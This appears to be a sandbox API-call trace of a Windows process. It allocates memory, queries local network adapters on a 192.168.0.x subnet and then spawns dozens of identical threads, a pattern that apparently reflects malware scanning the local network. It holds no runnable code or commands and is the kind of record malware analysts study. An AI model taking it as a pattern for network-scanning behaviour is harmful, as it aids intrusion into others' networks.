	[0179.640] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6450000
	[0179.640] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6460000
	[0179.640] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6560000
	[0179.641] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6570000
	[0179.641] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6670000
	[0179.642] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6680000
	[0179.642] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6780000
	[0179.642] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6790000
	[0179.643] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6890000
	[0179.643] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x68a0000
	[0179.643] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x69a0000
	[0180.091] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x69b0000
	[0180.092] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6ab0000
	[0180.092] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6ac0000
	[0180.093] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6bc0000
	[0180.093] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6bd0000
	[0180.093] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6cd0000
	[0180.094] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6ce0000
	[0180.094] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6de0000
	[0180.094] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6df0000
	[0180.095] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x6ef0000
	[0180.095] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x6f00000
	[0180.095] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7000000
	[0180.096] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7010000
	[0180.096] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7110000
	[0180.097] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7120000
	[0180.097] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7220000
	[0180.098] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7230000
	[0180.098] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7330000
	[0180.098] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7340000
	[0180.099] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7440000
	[0180.099] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7450000
	[0180.100] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7550000
	[0180.100] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7560000
	[0180.100] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7660000
	[0180.101] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7670000
	[0180.101] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7770000
	[0180.101] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7780000
	[0180.102] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7880000
	[0180.102] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7890000
	[0180.102] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7990000
	[0180.103] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x79a0000
	[0180.103] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7aa0000
	[0180.103] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7ab0000
	[0180.104] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7bb0000
	[0180.104] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7bc0000
	[0180.105] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7cc0000
	[0180.105] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7cd0000
	[0180.105] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7dd0000
	[0180.106] VirtualAlloc (lpAddress=0x0, dwSize=0xf429a, flAllocationType=0x1000, flProtect=0x4) returned 0x7de0000
	[0180.106] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x7ee0000
	[0180.107] Sleep (dwMilliseconds=0x9c4) 
	[0183.235] GetAdaptersAddresses (in: Family=0x2, Flags=0x0, Reserved=0x0, AdapterAddresses=0x0, SizePointer=0xd3190*=0x0 | out: AdapterAddresses=0x0, SizePointer=0xd3190*=0x610) returned 0x6f
	[0224.302] VirtualAlloc (lpAddress=0x0, dwSize=0x610, flAllocationType=0x1000, flProtect=0x4) returned 0x7ef0000
	[0224.302] GetAdaptersAddresses (in: Family=0x2, Flags=0x0, Reserved=0x0, AdapterAddresses=0x7ef0000, SizePointer=0xd3190*=0x610 | out: AdapterAddresses=0x7ef0000*(Alignment=0x11000001c0, Length=0x1c0, IfIndex=0x11, Next=0x7ef0360, AdapterName="{ECF237EA-3AD2-4D35-B4FE-425EFF427D86}", FirstUnicastAddress=0x7ef0280, FirstAnycastAddress=0x0, FirstMulticastAddress=0x7ef02d0, FirstDnsServerAddress=0x7ef0330, DnsSuffix="", Description="Intel(R) PRO/1000 MT Network Connection #2", FriendlyName="Local Area Connection 2", PhysicalAddress=([0]=0x0, [1]=0xd0, [2]=0xd9, [3]=0x7e, [4]=0x90, [5]=0x2, [6]=0x0, [7]=0x0), PhysicalAddressLength=0x6, Flags=0x3e5, DdnsEnabled=0x3e5, RegisterAdapterSuffix=0x3e5, Dhcpv4Enabled=0x3e5, ReceiveOnly=0x3e5, NoMulticast=0x3e5, Ipv6OtherStatefulConfig=0x3e5, NetbiosOverTcpipEnabled=0x3e5, Ipv4Enabled=0x3e5, Ipv6Enabled=0x3e5, Ipv6ManagedAddressConfigurationSupported=0x3e5, Mtu=0x5dc, IfType=0x6, OperStatus=0x1, Ipv6IfIndex=0x11, ZoneIndices=([0]=0x11, [1]=0x11, [2]=0x11, [3]=0x11, [4]=0x1, [5]=0x1, [6]=0x1, [7]=0x1, [8]=0x1, [9]=0x1, [10]=0x1, [11]=0x1, [12]=0x1, [13]=0x1, [14]=0x0, [15]=0x1), FirstPrefix=0x0, TransmitLinkSpeed=0x3b9aca00, ReceiveLinkSpeed=0x3b9aca00, FirstWinsServerAddress=0x0, FirstGatewayAddress=0x0, Ipv4Metric=0xa, Ipv6Metric=0xa, Luid=0x6000007000000, Dhcpv4Server.lpSockaddr=0x7ef01c0*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.1"), Dhcpv4Server.iSockaddrLength=16, CompartmentId=0x1, NetworkGuid=0x11de7039846ee341, ConnectionType=0x1, TunnelType=0x0, Dhcpv6Server.lpSockaddr=0x0, Dhcpv6Server.iSockaddrLength=0, Dhcpv6ClientDuid=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x1, [4]=0x20, [5]=0xc7, [6]=0x5c, [7]=0xa7, [8]=0xc4, [9]=0x3d, [10]=0xc7, [11]=0x58, [12]=0x4a, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0), Dhcpv6ClientDuidLength=0xe, Dhcpv6Iaid=0x11c43dc7, FirstDnsSuffix=0x0), SizePointer=0xd3190*=0x610) returned 0x0
	[0224.315] inet_addr (cp="192.168.0.60") returned 0x3c00a8c0
	[0224.315] VirtualFree (lpAddress=0x7ef0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0224.316] VirtualAlloc (lpAddress=0x0, dwSize=0x7f8, flAllocationType=0x1000, flProtect=0x4) returned 0x7ef0000
	[0224.317] Sleep (dwMilliseconds=0x3e8) 
	[0225.710] GetAdaptersAddresses (in: Family=0x2, Flags=0x0, Reserved=0x0, AdapterAddresses=0x0, SizePointer=0xd3190*=0x0 | out: AdapterAddresses=0x0, SizePointer=0xd3190*=0x610) returned 0x6f
	[0225.894] VirtualAlloc (lpAddress=0x0, dwSize=0x610, flAllocationType=0x1000, flProtect=0x4) returned 0x7f00000
	[0225.894] GetAdaptersAddresses (in: Family=0x2, Flags=0x0, Reserved=0x0, AdapterAddresses=0x7f00000, SizePointer=0xd3190*=0x610 | out: AdapterAddresses=0x7f00000*(Alignment=0x11000001c0, Length=0x1c0, IfIndex=0x11, Next=0x7f00360, AdapterName="{ECF237EA-3AD2-4D35-B4FE-425EFF427D86}", FirstUnicastAddress=0x7f00280, FirstAnycastAddress=0x0, FirstMulticastAddress=0x7f002d0, FirstDnsServerAddress=0x7f00330, DnsSuffix="", Description="Intel(R) PRO/1000 MT Network Connection #2", FriendlyName="Local Area Connection 2", PhysicalAddress=([0]=0x0, [1]=0xd0, [2]=0xd9, [3]=0x7e, [4]=0x90, [5]=0x2, [6]=0x0, [7]=0x0), PhysicalAddressLength=0x6, Flags=0x3e5, DdnsEnabled=0x3e5, RegisterAdapterSuffix=0x3e5, Dhcpv4Enabled=0x3e5, ReceiveOnly=0x3e5, NoMulticast=0x3e5, Ipv6OtherStatefulConfig=0x3e5, NetbiosOverTcpipEnabled=0x3e5, Ipv4Enabled=0x3e5, Ipv6Enabled=0x3e5, Ipv6ManagedAddressConfigurationSupported=0x3e5, Mtu=0x5dc, IfType=0x6, OperStatus=0x1, Ipv6IfIndex=0x11, ZoneIndices=([0]=0x11, [1]=0x11, [2]=0x11, [3]=0x11, [4]=0x1, [5]=0x1, [6]=0x1, [7]=0x1, [8]=0x1, [9]=0x1, [10]=0x1, [11]=0x1, [12]=0x1, [13]=0x1, [14]=0x0, [15]=0x1), FirstPrefix=0x0, TransmitLinkSpeed=0x3b9aca00, ReceiveLinkSpeed=0x3b9aca00, FirstWinsServerAddress=0x0, FirstGatewayAddress=0x0, Ipv4Metric=0xa, Ipv6Metric=0xa, Luid=0x6000007000000, Dhcpv4Server.lpSockaddr=0x7f001c0*(sa_family=2, sin_port=0x0, sin_addr="192.168.0.1"), Dhcpv4Server.iSockaddrLength=16, CompartmentId=0x1, NetworkGuid=0x11de7039846ee341, ConnectionType=0x1, TunnelType=0x0, Dhcpv6Server.lpSockaddr=0x0, Dhcpv6Server.iSockaddrLength=0, Dhcpv6ClientDuid=([0]=0x0, [1]=0x1, [2]=0x0, [3]=0x1, [4]=0x20, [5]=0xc7, [6]=0x5c, [7]=0xa7, [8]=0xc4, [9]=0x3d, [10]=0xc7, [11]=0x58, [12]=0x4a, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0), Dhcpv6ClientDuidLength=0xe, Dhcpv6Iaid=0x11c43dc7, FirstDnsSuffix=0x0), SizePointer=0xd3190*=0x610) returned 0x0
	[0225.906] inet_addr (cp="192.168.0.60") returned 0x3c00a8c0
	[0225.906] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8
	[0225.908] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0008, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x100
	[0225.910] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0010, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x10c
	[0225.911] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0018, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x110
	[0225.914] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0020, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x114
	[0225.915] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0028, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x118
	[0225.917] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0030, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x11c
	[0225.919] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0038, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x120
	[0226.139] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0040, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x138
	[0226.141] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0048, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13c
	[0226.143] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0050, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140
	[0226.144] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0058, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144
	[0226.146] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0060, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x148
	[0226.149] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0068, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c
	[0226.151] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0070, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x150
	[0226.152] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0078, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x154
	[0226.154] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x158
	[0226.155] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0088, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x15c
	[0226.157] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0090, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x160
	[0226.158] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0098, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x164
	[0226.160] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef00a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x168
	[0226.162] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef00a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x16c
	[0226.164] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef00b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x170
	[0226.166] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef00b8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x174
	[0226.167] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef00c0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x178
	[0226.169] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef00c8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x17c
	[0226.170] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef00d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x180
	[0226.171] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef00d8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x184
	[0226.173] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef00e0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x188
	[0226.472] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef00e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x18c
	[0226.474] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef00f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x190
	[0226.475] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef00f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x194
	[0226.477] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0100, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x198
	[0226.478] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0108, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19c
	[0226.480] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0110, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a0
	[0226.482] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0118, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a4
	[0226.484] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0120, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1a8
	[0226.486] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0128, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ac
	[0226.488] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0130, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b0
	[0226.490] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0138, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b4
	[0226.492] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0140, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1b8
	[0226.493] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0148, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1bc
	[0226.495] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0150, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c0
	[0226.498] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0158, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c4
	[0226.499] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0160, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1c8
	[0226.501] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0168, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1cc
	[0226.502] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d0
	[0226.505] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0178, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d4
	[0226.506] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0180, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d8
	[0226.727] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0188, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e4
	[0226.729] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e8
	[0226.730] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef0198, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ec
	[0226.733] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef01a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f0
	[0226.735] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef01a8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f4
	[0226.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f9c57b4, lpParameter=0x7ef01b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1f8
